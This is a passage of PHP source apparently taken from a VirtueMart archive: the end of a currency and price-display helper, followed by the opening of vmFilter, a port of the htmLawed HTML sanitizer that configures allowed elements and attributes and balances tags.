		if(empty($product_price) and $name != 'billTotal' and $name != 'billTaxAmount') return '';

		//The fallback, when this price is not configured
		if(empty($this->_priceConfig[$name])){
			$this->_priceConfig[$name] = $this->_priceConfig['salesPrice'];
		}

		//This is a fallback because we removed the "salesPriceWithDiscount" ;
		if(is_array($product_price)){
			$price = $product_price[$name] ;
		} else {
			$price = $product_price;
		}

		//This could be easily extended by product specific settings
		if(!empty($this->_priceConfig[$name][0])){
			if(!empty($price) or $name == 'billTotal' or $name == 'billTaxAmount'){
				$vis = "block";
				$priceFormatted = $this->priceDisplay($price,0,(float)$quantity,false,$this->_priceConfig[$name][1],$name );
			} else {
				$priceFormatted = '';
				$vis = "none";
			}
			if($priceOnly){
				return $priceFormatted;
			}
			if($forceNoLabel) {
				return '<div class="Price'.$name.'" style="display : '.$vis.';" ><span class="Price'.$name.'" >'.$priceFormatted.'</span></div>';
			}
			$descr = '';
			if($this->_priceConfig[$name][2]) $descr = JText::_($description);
			// 			vmdebug('createPriceDiv $name '.$name.' '.$product_price[$name]);
			if(!$switchSequel){
				return '<div class="Price'.$name.'" style="display : '.$vis.';" >'.$descr.'<span class="Price'.$name.'" >'.$priceFormatted.'</span></div>';
			} else {
				return '<div class="Price'.$name.'" style="display : '.$vis.';" ><span class="Price'.$name.'" >'.$priceFormatted.'</span>'.$descr.'</div>';
			}
		}

	}

	/**
	 *
	 * @author Max Milbers
	 * @param unknown_type $currency
	 * @param unknown_type $price
	 * @param unknown_type $shop
	 */
	function convertCurrencyTo($currency,$price,$shop=true){


		if(empty($currency)){
			// 			vmdebug('empty  $currency ',$price);
			return $price;
		}

		// If both currency codes match, do nothing
		if( (is_Object($currency) and $currency->_currency_id == $this->_vendorCurrency)  or (!is_Object($currency) and $currency == $this->_vendorCurrency)) {
			// 			vmdebug('  $currency == $this->_vendorCurrency ',$price);
			return $price;
		}

		if(is_Object($currency)){
			$exchangeRate = (float)$currency->exchangeRateShopper;
			vmdebug('convertCurrencyTo OBJECT '.$exchangeRate);
		}
		else {
			static $currency_exchange_rate = array();
			if(!isset($currency_exchange_rate[$currency])){
				$q = 'SELECT `currency_exchange_rate` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` ="'.(int)$currency.'" ';
				$this->_db->setQuery($q);
				$currency_exchange_rate[$currency] = (float)$this->_db->loadResult();
			}

			if(!empty($currency_exchange_rate[$currency])){
				$exchangeRate = $currency_exchange_rate[$currency];
			} else {
				$exchangeRate = 0;
			}
		}

		if(!empty($exchangeRate) ){

			if($shop){
				$price = $price / $exchangeRate;
			} else {
				$price = $price * $exchangeRate;
			}

		} else {
			$currencyCode = self::ensureUsingCurrencyCode($currency);
			$vendorCurrencyCode = self::ensureUsingCurrencyCode($this->_vendorCurrency);
			$globalCurrencyConverter=JRequest::getVar('globalCurrencyConverter');
			if($shop){
				$price = $this ->_currencyConverter->convert( $price, $currencyCode, $vendorCurrencyCode);
				//vmdebug('convertCurrencyTo Use dynamic rate in shop '.$oldprice .' => '.$price);
			} else {
				//vmdebug('convertCurrencyTo Use dynamic rate to shopper currency '.$price);
				$price = $this ->_currencyConverter->convert( $price , $vendorCurrencyCode, $currencyCode);
			}
			// 			vmdebug('convertCurrencyTo my currency ',$this->exchangeRateShopper);
		}

		return $price;
	}


	/**
	 * Changes the virtuemart_currency_id into the right currency_code
	 * For exampel 47 => EUR
	 *
	 * @author Max Milbers
	 * @author Frederic Bidon
	 */
	function ensureUsingCurrencyCode($curr){

		if(is_numeric($curr) and $curr!=0){
			if (!class_exists('ShopFunctions'))
				require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php');
			return ShopFunctions::getCurrencyByID($curr,'currency_code_3');
		}
		return $curr;
	}

	/**
	 * Changes the currency_code into the right virtuemart_currency_id
	 * For exampel 'currency_code_3' : EUR => 47
	 *
	 * @author Max Milbers
	 * @author Kohl Patrick
	 */
	function getCurrencyIdByField($value=0,$fieldName ='currency_code_3'){
		if(is_string($value) ){
			if (!class_exists('ShopFunctions'))
				require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php');
			return ShopFunctions::getCurrencyIDByName($value,$fieldName);			
		}
		return $value;
	}



	/**
	 *
	 * @author Horvath, Sandor [HU] http://de.php.net/manual/de/function.number-format.php
	 * @author Max Milbers
	 * @param double $number
	 * @param int $decimals
	 * @param string $thousand_separator
	 * @param string $decimal_point
	 */
	function formatNumber($number, $decimals = 2, $decimal_point = '.', $thousand_separator = '&nbsp;' ){

		//    	$tmp1 = round((float) $number, $decimals);

		return number_format($number,$decimals,$decimal_point,$thousand_separator);
		//		while (($tmp2 = preg_replace('/(\d+)(\d\d\d)/', '\1 \2', $tmp1)) != $tmp1){
		//			$tmp1 = $tmp2;
		//		}
		//
		//		return strtr($tmp1, array(' ' => $thousand_separator, '.' => $decimal_point));
	}

	/**
	 * Return the currency symbol
	 */
	public function getSymbol() {
		return($this->_symbol);
	}

	/**
	 * Return the currency ID
	 */
	public function getId() {
		return($this->_currency_id);
	}

	/**
	 * Return the number of decimal places
	 *
	 * @author RickG
	 * @return int Number of decimal places
	 */
	public function getNbrDecimals() {
		return($this->_nbDecimal);
	}

	/**
	 * Return the decimal symbol
	 *
	 * @author RickG
	 * @return string Decimal place symbol
	 */
	public function getDecimalSymbol() {
		return($this->_decimal);
	}

	/**
	 * Return the decimal symbol
	 *
	 * @author RickG
	 * @return string Decimal place symbol
	 */
	public function getThousandsSeperator() {
		return($this->_thousands);
	}

	/**
	 * Return the positive format
	 *
	 * @author RickG
	 * @return string Positive number format
	 */
	public function getPositiveFormat() {
		return($this->_positivePos);
	}

	/**
	 * Return the negative format
	 *
	 * @author RickG
	 * @return string Negative number format
	 */
	public function getNegativeFormat() {
		return($this->_negativePos);
	}



}
// pure php no closing tag
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmfilter.php����������������������������������������������������������������������������������������0000666�����������������00000151504�15137212725�0007124 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('');
/*
 htmLawed 1.1.10, 5 April 2012
OOP code, 5 April 2012
Copyright Santosh Patnaik
Dual LGPL v3 and GPL v2+ license
Modified for Virtuemart 2 by vm2 dev team(Patrick Kohl)
A PHP Labware internal utility; www.bioinformatics.org/phplabware/internal_utilities/htmLawed
$out = vmFilter::hl($in, array('safe'=>1, 'elements'=>'a, b, strong, i, em, li, ol, ul'));
See htmLawed_README.txt/htm
only good for HTML filtering needed in MultiVendor editing Product/category ...
*/

class vmFilter{

	private static $C=null;
	private static $E=null;
	private static $S=null;
	private static $hl_Ids=null;

	// begin class
	public static function hl($t, $C=null, $S=array()){
		if ( is_string($C) ) $C = vmFilter::loadconfig($C);
		$C = is_array($C) ? $C : array();

		if(!empty($C['valid_xhtml'])){
			$C['elements'] = empty($C['elements']) ? '*-center-dir-font-isindex-menu-s-strike-u' : $C['elements'];
			$C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 2;
			$C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 2;
		}
		// config eles
		$e = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'applet'=>1, 'area'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'blockquote'=>1, 'br'=>1, 'button'=>1, 'caption'=>1, 'center'=>1, 'cite'=>1, 'code'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'del'=>1, 'dfn'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'dt'=>1, 'em'=>1, 'embed'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'isindex'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'object'=>1, 'ol'=>1, 'optgroup'=>1, 'option'=>1, 'p'=>1, 'param'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'table'=>1, 'tbody'=>1, 'td'=>1, 'textarea'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'tt'=>1, 'u'=>1, 'ul'=>1, 'var'=>1); // 86/deprecated+embed+ruby
		if(!empty($C['safe'])){
			unset($e['applet'], $e['embed'], $e['iframe'], $e['object'], $e['script']);
		}
		$x = !empty($C['elements']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['elements']) : '*';
		if($x == '-*'){
			$e = array();
		}
		elseif(strpos($x, '*') === false){
			$e = array_flip(explode(',', $x));
		}
		else{
			if(isset($x[1])){
				preg_match_all('`(?:^|-|\+)[^\-+]+?(?=-|\+|$)`', $x, $m, PREG_SET_ORDER);
				for($i=count($m); --$i>=0;){
					$m[$i] = $m[$i][0];
				}
				foreach($m as $v){
					if($v[0] == '+'){
						$e[substr($v, 1)] = 1;
					}
					if($v[0] == '-' && isset($e[($v = substr($v, 1))]) && !in_array('+'. $v, $m)){
						unset($e[$v]);
					}
				}
			}
		}
		$C['elements'] =& $e;
		// config attrs
		$x = !empty($C['deny_attribute']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['deny_attribute']) : '';
		$x = array_flip((isset($x[0]) && $x[0] == '*') ? explode('-', $x) : explode(',', $x. (!empty($C['safe']) ? ',on*' : '')));
		if(isset($x['on*'])){
			unset($x['on*']);
			$x += array('onblur'=>1, 'onchange'=>1, 'onclick'=>1, 'ondblclick'=>1, 'onfocus'=>1, 'onkeydown'=>1, 'onkeypress'=>1, 'onkeyup'=>1, 'onmousedown'=>1, 'onmousemove'=>1, 'onmouseout'=>1, 'onmouseover'=>1, 'onmouseup'=>1, 'onreset'=>1, 'onselect'=>1, 'onsubmit'=>1);
		}
		$C['deny_attribute'] = $x;
		// config URL
		$x = (isset($C['schemes'][2]) && strpos($C['schemes'], ':')) ? strtolower($C['schemes']) : 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https';
		$C['schemes'] = array();
		foreach(explode(';', str_replace(array(' ', "\t", "\r", "\n"), '', $x)) as $v){
			$x = $x2 = null; list($x, $x2) = explode(':', $v, 2);
			if($x2){
				$C['schemes'][$x] = array_flip(explode(',', $x2));
			}
		}
		if(!isset($C['schemes']['*'])){
			$C['schemes']['*'] = array('file'=>1, 'http'=>1, 'https'=>1,);
		}
		if(!empty($C['safe']) && empty($C['schemes']['style'])){
			$C['schemes']['style'] = array('!'=>1);
		}
		$C['abs_url'] = isset($C['abs_url']) ? $C['abs_url'] : 0;
		if(!isset($C['base_url']) or !preg_match('`^[a-zA-Z\d.+\-]+://[^/]+/(.+?/)?$`', $C['base_url'])){
			$C['base_url'] = $C['abs_url'] = 0;
		}
		// config rest
		$C['and_mark'] = empty($C['and_mark']) ? 0 : 1;
		$C['anti_link_spam'] = (isset($C['anti_link_spam']) && is_array($C['anti_link_spam']) && count($C['anti_link_spam']) == 2 && (empty($C['anti_link_spam'][0]) or vmFilter::hl_regex($C['anti_link_spam'][0])) && (empty($C['anti_link_spam'][1]) or vmFilter::hl_regex($C['anti_link_spam'][1]))) ? $C['anti_link_spam'] : 0;
		$C['anti_mail_spam'] = isset($C['anti_mail_spam']) ? $C['anti_mail_spam'] : 0;
		$C['balance'] = isset($C['balance']) ? (bool)$C['balance'] : 1;
		$C['cdata'] = isset($C['cdata']) ? $C['cdata'] : (empty($C['safe']) ? 3 : 0);
		$C['clean_ms_char'] = empty($C['clean_ms_char']) ? 0 : $C['clean_ms_char'];
		$C['comment'] = isset($C['comment']) ? $C['comment'] : (empty($C['safe']) ? 3 : 0);
		$C['css_expression'] = empty($C['css_expression']) ? 0 : 1;
		$C['direct_list_nest'] = empty($C['direct_list_nest']) ? 0 : 1;
		$C['hexdec_entity'] = isset($C['hexdec_entity']) ? $C['hexdec_entity'] : 1;
		$C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0;
		$C['hook_tag'] = (!empty($C['hook_tag']) && function_exists($C['hook_tag'])) ? $C['hook_tag'] : 0;
		$C['keep_bad'] = isset($C['keep_bad']) ? $C['keep_bad'] : 6;
		$C['lc_std_val'] = isset($C['lc_std_val']) ? (bool)$C['lc_std_val'] : 1;
		$C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 1;
		$C['named_entity'] = isset($C['named_entity']) ? (bool)$C['named_entity'] : 1;
		$C['no_deprecated_attr'] = isset($C['no_deprecated_attr']) ? $C['no_deprecated_attr'] : 1;
		$C['parent'] = isset($C['parent'][0]) ? strtolower($C['parent']) : 'body';
		$C['show_setting'] = !empty($C['show_setting']) ? $C['show_setting'] : 0;
		$C['style_pass'] = empty($C['style_pass']) ? 0 : 1;
		$C['tidy'] = empty($C['tidy']) ? 0 : $C['tidy'];
		$C['unique_ids'] = isset($C['unique_ids']) ? $C['unique_ids'] : 1;
		$C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 0;

		if(!is_null(vmFilter::$C)){
			$reC = vmFilter::$C;
		}
		vmFilter::$C = $C;
		$S = is_array($S) ? $S : vmFilter::$hl_spec($S);
		if(!is_null(vmFilter::$S)){
			$reS = vmFilter::$S;
		}
		vmFilter::$S = $S;

		$t = preg_replace('`[\x00-\x08\x0b-\x0c\x0e-\x1f]`', '', $t);
		if($C['clean_ms_char']){
			$x = array("\x7f"=>'', "\x80"=>'&#8364;', "\x81"=>'', "\x83"=>'&#402;', "\x85"=>'&#8230;', "\x86"=>'&#8224;', "\x87"=>'&#8225;', "\x88"=>'&#710;', "\x89"=>'&#8240;', "\x8a"=>'&#352;', "\x8b"=>'&#8249;', "\x8c"=>'&#338;', "\x8d"=>'', "\x8e"=>'&#381;', "\x8f"=>'', "\x90"=>'', "\x95"=>'&#8226;', "\x96"=>'&#8211;', "\x97"=>'&#8212;', "\x98"=>'&#732;', "\x99"=>'&#8482;', "\x9a"=>'&#353;', "\x9b"=>'&#8250;', "\x9c"=>'&#339;', "\x9d"=>'', "\x9e"=>'&#382;', "\x9f"=>'&#376;');
			$x = $x + ($C['clean_ms_char'] == 1 ? array("\x82"=>'&#8218;', "\x84"=>'&#8222;', "\x91"=>'&#8216;', "\x92"=>'&#8217;', "\x93"=>'&#8220;', "\x94"=>'&#8221;') : array("\x82"=>'\'', "\x84"=>'"', "\x91"=>'\'', "\x92"=>'\'', "\x93"=>'"', "\x94"=>'"'));
			$t = strtr($t, $x);
		}
		if($C['cdata'] or $C['comment']){
			$t = preg_replace_callback('`<!(?:(?:--.*?--)|(?:\[CDATA\[.*?\]\]))>`sm', 'vmFilter::hl_cmtcd', $t);
		}
		$t = preg_replace_callback('`&amp;([A-Za-z][A-Za-z0-9]{1,30}|#(?:[0-9]{1,8}|[Xx][0-9A-Fa-f]{1,7}));`', 'vmFilter::hl_ent', str_replace('&', '&amp;', $t));
		if($C['unique_ids'] && is_null(vmFilter::$hl_Ids)){
			vmFilter::$hl_Ids = array();
		}
		if($C['hook']){
			$t = $C['hook']($t, $C, $S);
		}
		if($C['show_setting'] && preg_match('`^[a-z][a-z0-9_]*$`i', $C['show_setting'])){
			vmFilter::$C['show_setting'] = array('config'=>$C, 'spec'=>$S, 'time'=>microtime());
		}
		// main
		$t = preg_replace_callback('`<(?:(?:\s|$)|(?:[^>]*(?:>|$)))|>`m', 'vmFilter::hl_tag', $t);
		$t = $C['balance'] ? vmFilter::hl_bal($t, $C['keep_bad'], $C['parent']) : $t;
		$t = (($C['cdata'] or $C['comment']) && strpos($t, "\x01") !== false) ? str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05"), array('', '', '&', '<', '>'), $t) : $t;
		$t = $C['tidy'] ? vmFilter::hl_tidy($t, $C['tidy'], $C['parent']) : $t;
		unset($C, $e);
		if(isset($reC)){
			vmFilter::$C = $reC;
		}
		if(isset($reS)){
			vmFilter::$S = $reS;
		}
		return $t;
		// eof
	}

	public static function hl_attrval($t, $p){
		// check attr val against $S
		$o = 1; $l = strlen($t);
		foreach($p as $k=>$v){
			switch($k){
				case 'maxlen':if($l > $v){
					$o = 0;
				}
				break; case 'minlen': if($l < $v){
					$o = 0;
				}
				break; case 'maxval': if((float)($t) > $v){
					$o = 0;
				}
				break; case 'minval': if((float)($t) < $v){
					$o = 0;
				}
				break; case 'match': if(!preg_match($v, $t)){
					$o = 0;
				}
				break; case 'nomatch': if(preg_match($v, $t)){
					$o = 0;
				}
				break; case 'oneof':
					$m = 0;
					foreach(explode('|', $v) as $n){
						if($t == $n){
							$m = 1; break;
						}
					}
					$o = $m;
					break; case 'noneof':
						$m = 1;
						foreach(explode('|', $v) as $n){
							if($t == $n){
								$m = 0; break;
							}
						}
						$o = $m;
						break; default:
							break;
			}
			if(!$o){
				break;
			}
		}
		return ($o ? $t : (isset($p['default']) ? $p['default'] : 0));
		// eof
	}

	public static function hl_bal($t, $do=1, $in='div'){
		// balance tags
		// by content
		$cB = array('blockquote'=>1, 'form'=>1, 'map'=>1, 'noscript'=>1); // Block
		$cE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty
		$cF = array('button'=>1, 'del'=>1, 'div'=>1, 'dd'=>1, 'fieldset'=>1, 'iframe'=>1, 'ins'=>1, 'li'=>1, 'noscript'=>1, 'object'=>1, 'td'=>1, 'th'=>1); // Flow; later context-wise dynamic move of ins & del to $cI
		$cI = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'caption'=>1, 'cite'=>1, 'code'=>1, 'dfn'=>1, 'dt'=>1, 'em'=>1, 'font'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'i'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'p'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rt'=>1, 's'=>1, 'samp'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); // Inline
		$cN = array('a'=>array('a'=>1), 'button'=>array('a'=>1, 'button'=>1, 'fieldset'=>1, 'form'=>1, 'iframe'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'fieldset'=>array('fieldset'=>1), 'form'=>array('form'=>1), 'label'=>array('label'=>1), 'noscript'=>array('script'=>1), 'pre'=>array('big'=>1, 'font'=>1, 'img'=>1, 'object'=>1, 'script'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1), 'rb'=>array('ruby'=>1), 'rt'=>array('ruby'=>1)); // Illegal
		$cN2 = array_keys($cN);
		$cR = array('blockquote'=>1, 'dir'=>1, 'dl'=>1, 'form'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'select'=>1, 'table'=>1, 'tbody'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1);
		$cS = array('colgroup'=>array('col'=>1), 'dir'=>array('li'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), 'menu'=>array('li'=>1), 'ol'=>array('li'=>1), 'optgroup'=>array('option'=>1), 'option'=>array('#pcdata'=>1), 'rbc'=>array('rb'=>1), 'rp'=>array('#pcdata'=>1), 'rtc'=>array('rt'=>1), 'ruby'=>array('rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1), 'select'=>array('optgroup'=>1, 'option'=>1), 'script'=>array('#pcdata'=>1), 'table'=>array('caption'=>1, 'col'=>1, 'colgroup'=>1, 'tfoot'=>1, 'tbody'=>1, 'tr'=>1, 'thead'=>1), 'tbody'=>array('tr'=>1), 'tfoot'=>array('tr'=>1), 'textarea'=>array('#pcdata'=>1), 'thead'=>array('tr'=>1), 'tr'=>array('td'=>1, 'th'=>1), 'ul'=>array('li'=>1)); // Specific - immediate parent-child
		if(vmFilter::$C['direct_list_nest']){
			$cS['ol'] = $cS['ul'] += array('ol'=>1, 'ul'=>1);
		}
		$cO = array('address'=>array('p'=>1), 'applet'=>array('param'=>1), 'blockquote'=>array('script'=>1), 'fieldset'=>array('legend'=>1, '#pcdata'=>1), 'form'=>array('script'=>1), 'map'=>array('area'=>1), 'object'=>array('param'=>1, 'embed'=>1)); // Other
		$cT = array('colgroup'=>1, 'dd'=>1, 'dt'=>1, 'li'=>1, 'option'=>1, 'p'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1); // Omitable closing
		// block/inline type; ins & del both type; #pcdata: text
		$eB = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'del'=>1, 'dir'=>1, 'dl'=>1, 'div'=>1, 'fieldset'=>1, 'form'=>1, 'ins'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'isindex'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'table'=>1, 'ul'=>1);
		$eI = array('#pcdata'=>1, 'a'=>1, 'abbr'=>1, 'acronym'=>1, 'applet'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'br'=>1, 'button'=>1, 'cite'=>1, 'code'=>1, 'del'=>1, 'dfn'=>1, 'em'=>1, 'embed'=>1, 'font'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'kbd'=>1, 'label'=>1, 'map'=>1, 'object'=>1, 'q'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'select'=>1, 'script'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1, 'tt'=>1, 'u'=>1, 'var'=>1);
		$eN = array('a'=>1, 'big'=>1, 'button'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'label'=>1, 'object'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1); // Exclude from specific ele; $cN values
		$eO = array('area'=>1, 'caption'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'dt'=>1, 'legend'=>1, 'li'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'script'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'thead'=>1, 'th'=>1, 'tr'=>1); // Missing in $eB & $eI
		$eF = $eB + $eI;

		// $in sets allowed child
		$in = ((isset($eF[$in]) && $in != '#pcdata') or isset($eO[$in])) ? $in : 'div';
		if(isset($cE[$in])){
			return (!$do ? '' : str_replace(array('<', '>'), array('&lt;', '&gt;'), $t));
		}
		if(isset($cS[$in])){
			$inOk = $cS[$in];
		}
		elseif(isset($cI[$in])){
			$inOk = $eI; $cI['del'] = 1; $cI['ins'] = 1;
		}
		elseif(isset($cF[$in])){
			$inOk = $eF; unset($cI['del'], $cI['ins']);
		}
		elseif(isset($cB[$in])){
			$inOk = $eB; unset($cI['del'], $cI['ins']);
		}
		if(isset($cO[$in])){
			$inOk = $inOk + $cO[$in];
		}
		if(isset($cN[$in])){
			$inOk = array_diff_assoc($inOk, $cN[$in]);
		}

		$t = explode('<', $t);
		$ok = $q = array(); // $q seq list of open non-empty ele
		ob_start();

		for($i=-1, $ci=count($t); ++$i<$ci;){
			// allowed $ok in parent $p
			if($ql = count($q)){
				$p = array_pop($q);
				$q[] = $p;
				if(isset($cS[$p])){
					$ok = $cS[$p];
				}
				elseif(isset($cI[$p])){
					$ok = $eI; $cI['del'] = 1; $cI['ins'] = 1;
				}
				elseif(isset($cF[$p])){
					$ok = $eF; unset($cI['del'], $cI['ins']);
				}
				elseif(isset($cB[$p])){
					$ok = $eB; unset($cI['del'], $cI['ins']);
				}
				if(isset($cO[$p])){
					$ok = $ok + $cO[$p];
				}
				if(isset($cN[$p])){
					$ok = array_diff_assoc($ok, $cN[$p]);
				}
			}else{$ok = $inOk; unset($cI['del'], $cI['ins']);
			}
			// bad tags, & ele content
			if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){
				echo '&lt;', $s, $e, $a, '&gt;';
			}
			if(isset($x[0])){
				if($do < 3 or isset($ok['#pcdata'])){
					echo $x;
				}
				elseif(strpos($x, "\x02\x04")){
					foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){
						echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : ''));
					}
				}elseif($do > 4){
					echo preg_replace('`\S`', '', $x);
				}
			}
			// get markup
			if(!preg_match('`^(/?)([a-zA-Z1-6]+)([^>]*)>(.*)`sm', $t[$i], $r)){
				$x = $t[$i]; continue;
			}
			$s = null; $e = null; $a = null; $x = null; list($all, $s, $e, $a, $x) = $r;
			// close tag
			if($s){
				if(isset($cE[$e]) or !in_array($e, $q)){
					continue;
				} // Empty/unopen
				if($p == $e){
					array_pop($q); echo '</', $e, '>'; unset($e); continue;
				} // Last open
				$add = ''; // Nesting - close open tags that need to be
				for($j=-1, $cj=count($q); ++$j<$cj;){
					if(($d = array_pop($q)) == $e){
						break;
					}
					else{$add .= "</{$d}>";
					}
				}
				echo $add, '</', $e, '>'; unset($e); continue;
			}
			// open tag
			// $cB ele needs $eB ele as child
			if(isset($cB[$e]) && strlen(trim($x))){
				$t[$i] = "{$e}{$a}>";
				array_splice($t, $i+1, 0, 'div>'. $x); unset($e, $x); ++$ci; --$i; continue;
			}
			if((($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql)) && !isset($eB[$e]) && !isset($ok[$e])){
				array_splice($t, $i, 0, 'div>'); unset($e, $x); ++$ci; --$i; continue;
			}
			// if no open ele, $in = parent; mostly immediate parent-child relation should hold
			if(!$ql or !isset($eN[$e]) or !array_intersect($q, $cN2)){
				if(!isset($ok[$e])){
					if($ql && isset($cT[$p])){
						echo '</', array_pop($q), '>'; unset($e, $x); --$i;
					}
					continue;
				}
				if(!isset($cE[$e])){
					$q[] = $e;
				}
				echo '<', $e, $a, '>'; unset($e); continue;
			}
			// specific parent-child
			if(isset($cS[$p][$e])){
				if(!isset($cE[$e])){
					$q[] = $e;
				}
				echo '<', $e, $a, '>'; unset($e); continue;
			}
			// nesting
			$add = '';
			$q2 = array();
			for($k=-1, $kc=count($q); ++$k<$kc;){
				$d = $q[$k];
				$ok2 = array();
				if(isset($cS[$d])){
					$q2[] = $d; continue;
				}
				$ok2 = isset($cI[$d]) ? $eI : $eF;
				if(isset($cO[$d])){
					$ok2 = $ok2 + $cO[$d];
				}
				if(isset($cN[$d])){
					$ok2 = array_diff_assoc($ok2, $cN[$d]);
				}
				if(!isset($ok2[$e])){
					if(!$k && !isset($inOk[$e])){
						continue 2;
					}
					$add = "</{$d}>";
					for(;++$k<$kc;){
						$add = "</{$q[$k]}>{$add}";
					}
					break;
				}
				else{$q2[] = $d;
				}
			}
			$q = $q2;
			if(!isset($cE[$e])){
				$q[] = $e;
			}
			echo $add, '<', $e, $a, '>'; unset($e); continue;
		}

		// end
		if($ql = count($q)){
			$p = array_pop($q);
			$q[] = $p;
			if(isset($cS[$p])){
				$ok = $cS[$p];
			}
			elseif(isset($cI[$p])){
				$ok = $eI; $cI['del'] = 1; $cI['ins'] = 1;
			}
			elseif(isset($cF[$p])){
				$ok = $eF; unset($cI['del'], $cI['ins']);
			}
			elseif(isset($cB[$p])){
				$ok = $eB; unset($cI['del'], $cI['ins']);
			}
			if(isset($cO[$p])){
				$ok = $ok + $cO[$p];
			}
			if(isset($cN[$p])){
				$ok = array_diff_assoc($ok, $cN[$p]);
			}
		}else{$ok = $inOk; unset($cI['del'], $cI['ins']);
		}
		if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){
			echo '&lt;', $s, $e, $a, '&gt;';
		}
		if(isset($x[0])){
			if(strlen(trim($x)) && (($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql))){
				echo '<div>', $x, '</div>';
			}
			elseif($do < 3 or isset($ok['#pcdata'])){
				echo $x;
			}
			elseif(strpos($x, "\x02\x04")){
				foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){
					echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : ''));
				}
			}elseif($do > 4){
				echo preg_replace('`\S`', '', $x);
			}
		}
		while(!empty($q) && ($e = array_pop($q))){
			echo '</', $e, '>';
		}
		$o = ob_get_contents();
		ob_end_clean();
		return $o;
		// eof
	}

	public static function hl_cmtcd($t){
		// comment/CDATA sec handler
		$t = $t[0];
		$C = vmFilter::$C;
